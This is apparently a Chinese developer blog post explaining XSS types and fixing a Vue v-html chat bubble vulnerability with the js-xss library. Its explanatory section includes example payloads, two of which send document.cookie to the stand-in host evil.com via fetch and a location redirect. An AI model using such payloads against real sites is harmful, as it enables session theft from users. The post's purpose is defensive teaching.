
前言
最近我在开发项目的时候遇到了xss问题,起因是一个气泡生成的小功能用的是vfor
+v-html
的方式渲染.结果被漏洞扫描检测出具有xss
风险,这篇文章将介绍什么是xss
,以及如何在项目中处理.
XSS是什么?
说白了,XSS(Cross-Site Scripting,跨站脚本攻击)就是坏人想办法在你的网页里塞进去一些恶意的JavaScript代码。当用户打开页面时,这些代码就会偷偷执行,可能会偷取用户的cookie、session,或者做一些更坏的事情。
举个简单的例子,假如你有一个评论功能,正常用户会输入:"这个功能很棒!",但是恶意用户可能会输入:
html
<script>alert('你被攻击了!')</script>
如果你直接把这段内容渲染到页面上(比如用v-html),那么用户一打开页面就会弹出一个警告框。这只是最简单的例子,实际上攻击者可能会:
- 偷取用户的登录信息
- 重定向到钓鱼网站
- 修改页面内容
- 发起CSRF攻击
最容易中招的就是两个地方:
- 用户输入的内容:评论、搜索框、表单等
- URL参数:有些同学喜欢直接从URL里取参数显示在页面上
XSS主要分为三种类型:
- 存储型XSS:恶意代码存在数据库里,每次用户访问都会执行
javascript
// 用户在评论框输入恶意代码,存储到数据库
const maliciousComment = `<img src="x" onerror="
// 偷取用户cookie发送到攻击者服务器
fetch('http://evil.com/steal', {
method: 'POST',
body: JSON.stringify({cookie: document.cookie})
});
">`
- 反射型XSS:恶意代码在URL参数里,点击恶意链接就中招
javascript
// URL: https://yoursite.com/search?q=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
// 如果页面直接显示搜索参数,就会执行恶意代码
const searchParam = new URLSearchParams(location.search).get('q');
document.getElementById('result').innerHTML = `搜索结果: ${searchParam}`;
- DOM型XSS:前端JavaScript处理不当,直接操作DOM导致的
javascript
// 危险的DOM操作
function updateContent() {
const userInput = document.getElementById('input').value;
// 直接插入HTML,容易被攻击
document.getElementById('content').innerHTML = userInput;
}
// 用户输入: <img src="x" onerror="alert('XSS攻击!')">
// 就会执行恶意代码
场景复现
而我遇到的问题,就是DOM型XSS
,由于没有过滤和处理文本,直接渲染上去导致的.
效果就类似下面这样

测试代码如下
vue
<script setup>
import { ref } from 'vue'
import { ElMessage } from 'element-plus'
import './styles/app.css'
const inputValue = ref('')
const chatMessages = ref([])
const chatContainer = ref(null)
// 发送消息函数
const sendMessage = () => {
if (!inputValue.value.trim()) {
ElMessage.warning('请输入内容')
return
}
// 添加消息到聊天记录
const newMessage = {
id: Date.now(),
content: inputValue.value,
timestamp: new Date().toLocaleTimeString()
}
chatMessages.value.push(newMessage)
// 清空输入框
inputValue.value = ''
}
// 清空聊天记录
const clearChat = () => {
chatMessages.value = []
ElMessage.success('聊天记录已清空')
}
// 处理回车发送
const handleKeydown = (event) => {
if (event.key === 'Enter' && !event.shiftKey) {
event.preventDefault()
sendMessage()
}
}
</script>
<template>
<div class="container">
<el-card class="chat-card">
<template #header>
<div class="card-header">
<span>聊天界面</span>
<div>
<el-button type="danger" size="small" @click="clearChat" v-if="chatMessages.length > 0">
清空记录
</el-button>
</div>
</div>
</template>
<!-- 聊天消息显示区域 -->
<div class="chat-container" ref="chatContainer">
<div v-if="chatMessages.length === 0" class="empty-chat">
<el-empty description="暂无聊天记录,开始发送消息吧!" />
</div>
<div
v-for="message in chatMessages"
:key="message.id"
class="chat-message">
<div class="message-info">
<span class="message-time">{{ message.timestamp }}</span>
</div>
<div class="message-content" v-html="message.content"></div>
</div>
</div>
<!-- 输入区域 -->
<div class="chat-input-area">
<div class="input-container">
<el-input
v-model="inputValue"
type="textarea"
:rows="3"
placeholder="输入消息内容... (按Enter发送,Shift+Enter换行)"
@keydown="handleKeydown"
class="message-input"
/>
<el-button
type="primary"
@click="sendMessage"
:disabled="!inputValue.trim()"
class="send-button">
发送
</el-button>
</div>
</div>
</el-card>
</div>
</template>
代码中我用v-html去插入内容, 然后导致执行了这个payload:<iframe src=javascript:alert('xxx')>
解决方案
常规的处理方式
面对XSS问题,很多人的第一反应是自己写个函数过滤一下,像下面这样
javascript
// 很多人会这样写
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
}
return text.replace(/[&<>"']/g, m => map[m])
}
或者使用正则表达式去掉危险标签:
javascript
function removeScripts(html) {
return html
.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '')
.replace(/javascript:/gi, '')
.replace(/on\w+\s*=/gi, '')
}
但是这样做有几个问题:
- 攻击手段太多了 :
<script>
、<iframe>
、<img onerror>
、javascript:
、data:text/html
等等,防不胜防 - 容易误杀:可能会把正常的内容也给过滤掉
- 维护成本高:新的攻击方式出现后,你得手动更新过滤规则
总之,自己处理太麻烦了,建议是直接引入第三方库处理
主流的XSS防护库推荐
1. js-xss (推荐)
最受欢迎的JavaScript XSS过滤库,支持自定义规则:
bash
npm install xss
2. DOMPurify
专门用于清理DOM的库,在浏览器环境表现优秀:
bash
npm install dompurify
javascript
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize('<script>alert("xss")</script><p>Clean me</p>')
3. sanitize-html
功能强大的HTML清理库,配置选项丰富:
bash
npm install sanitize-html
javascript
import sanitizeHtml from 'sanitize-html'
const clean = sanitizeHtml('<script>alert("xss")</script><p>Keep me</p>')
下面我选择使用
xss
这个库解决这个问题
安装js-xss库

bash
npm install xss
# 或者
yarn add xss
基本使用
js-xss的语法非常简单,核心就是一个xss()
函数,但功能很强大。
最简单的用法
javascript
import xss from 'xss'
// 基本用法:直接过滤
console.log('处理前','payload:<iframe src=javascript:alert("xxx")></iframe>')
console.log('处理后',xss("payload:<iframe src=javascript:alert('xxx')></iframe>"))

常见的攻击代码过滤效果
来看看js-xss对各种攻击手段的处理效果:
javascript
import xss from 'xss'
// 1. script标签 - 直接移除
console.log(xss('<script>alert("攻击")</script>'))
// 输出: (空字符串)
// 2. iframe攻击 - 过滤危险属性
console.log(xss('<iframe src="javascript:alert(1)"></iframe>'))
// 输出: <iframe src></iframe>
// 3. img标签onerror - 移除事件属性
console.log(xss('<img src="x" onerror="alert(1)">'))
// 输出: <img src="x">
// 4. a标签javascript伪协议 - 过滤危险链接
console.log(xss('<a href="javascript:alert(1)">点击</a>'))
// 输出: <a href>点击</a>
// 5. 保留安全内容
console.log(xss('<p class="text">安全的段落</p><strong>粗体文字</strong>'))
// 输出: <p>安全的段落</p><strong>粗体文字</strong>
打印结果:

自定义配置选项
js-xss支持丰富的配置选项,可以根据业务需求调整:
javascript
import xss, { getDefaultWhiteList } from 'xss'
// 获取默认白名单
const defaultWhiteList = getDefaultWhiteList()
console.log(defaultWhiteList)
// 输出所有默认允许的标签和属性
// 自定义配置
const options = {
// 白名单配置
whiteList: {
// 继承默认白名单
...getDefaultWhiteList(),
// 添加自定义标签
'my-custom': ['class', 'data-*'],
// 修改已有标签的允许属性
'div': ['class', 'style', 'data-*'],
// 完全自定义某个标签
'span': ['class', 'style']
},
// 过滤配置
stripIgnoreTag: true, // 过滤不在白名单的标签
stripIgnoreTagBody: ['script'], // 过滤指定标签及其内容
allowCommentTag: false, // 是否允许HTML注释
// 自定义过滤函数
onIgnoreTag: function (tag, html, options) {
// 对不在白名单的标签进行自定义处理
if (tag === 'mytag') {
return '[自定义标签被过滤]'
}
},
onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) {
// 对不在白名单的属性进行自定义处理
if (name === 'data-custom') {
return name + '="' + xss.escapeAttrValue(value) + '"'
}
},
onTagAttr: function (tag, name, value, isWhiteAttr) {
// 对所有属性进行自定义处理
if (tag === 'img' && name === 'src' && !value.startsWith('http')) {
return '' // 只允许http开头的图片
}
}
}
const safeHtml = xss('<div data-custom="test">内容</div>', options)
常用的预设配置
针对不同场景,这里提供几个常用的配置模板:
javascript
// 1. 严格模式 - 只允许最基本的文本标签
const strictOptions = {
whiteList: {
'p': [],
'br': [],
'strong': [],
'em': [],
'span': []
},
stripIgnoreTag: true,
stripIgnoreTagBody: ['script', 'style']
}
// 2. 富文本模式 - 允许常见的富文本标签
const richTextOptions = {
whiteList: {
...getDefaultWhiteList(),
'h1': [], 'h2': [], 'h3': [], 'h4': [], 'h5': [], 'h6': [],
'blockquote': [], 'code': [], 'pre': [],
'table': [], 'thead': [], 'tbody': [], 'tr': [], 'td': [], 'th': [],
'ol': [], 'ul': [], 'li': []
}
}
// 3. 评论模式 - 允许链接和简单格式
const commentOptions = {
whiteList: {
'p': [], 'br': [], 'strong': [], 'em': [],
'a': ['href', 'title'], 'blockquote': []
},
onTagAttr: function (tag, name, value, isWhiteAttr) {
if (tag === 'a' && name === 'href') {
// 只允许http/https链接
if (!/^https?:\/\//.test(value)) {
return ''
}
}
}
}
实际使用例子
用``来测试一下
javascript
import xss from 'xss'
const maliciousInput = "payload:<iframe src=javascript:alert('xxx')></iframe>"
const safeOutput = xss(maliciousInput)
console.log('处理前:', maliciousInput)
console.log('处理后:', safeOutput)

可以看到,js-xss很智能地保留了iframe标签结构,但移除了危险的javascript:
协议,这样既保证了安全又不会完全破坏内容结构。
在Vue中的实际应用
回到我们前面的例子,只需要稍微改动一下:
vue
<script setup>
import { ref } from 'vue'
import { ElMessage } from 'element-plus'
import xss from 'xss'
// ... 其他代码保持不变
// 发送消息函数
const sendMessage = () => {
if (!inputValue.value.trim()) {
ElMessage.warning('请输入内容')
return
}
const newMessage = {
id: Date.now(),
// 关键改动:使用xss过滤内容
content: xss(inputValue.value),
timestamp: new Date().toLocaleTimeString()
}
chatMessages.value.push(newMessage)
inputValue.value = ''
}
</script>
<template>
<!-- 模板部分不用改,还是用v-html -->
<div class="message-content" v-html="message.content"></div>
</template>

修改之后可以看到, 我们输入xss
攻击的代码, 它也不会再弹出弹窗了
自定义过滤规则
有时候默认的过滤规则可能太严格,比如你想保留一些特定的标签,可以这样配置:
javascript
import xss, { getDefaultWhiteList } from 'xss'
// 自定义配置
const options = {
whiteList: {
...getDefaultWhiteList(),
// 允许iframe标签,但限制src属性
iframe: ['src', 'width', 'height'],
// 允许自定义属性
div: ['class', 'data-*']
},
// 过滤掉不在白名单中的标签时的处理方式
stripIgnoreTag: true,
// 过滤掉不在白名单中的属性时的处理方式
stripIgnoreTagBody: ['script']
}
const safeHtml = xss('<div class="test">安全内容</div><script>alert(1)</script>', options)
效果如下

结尾
其实xss
这个问题最早是我使用wangEdit
的时候,里面有一个网络图片的插入,当时被扫描出来漏洞,然后在在其它功能上面也有,才去了解的.这篇文章也是分享了一下,如何解决这种问题,以及开发中如何避免,其实可以直接编写一个全局过滤器,不过Vue3已经没有过滤器了,可以用全局方法
代替.遇到有可能出现xss
问题的地方就直接调用处理,这样会更方便.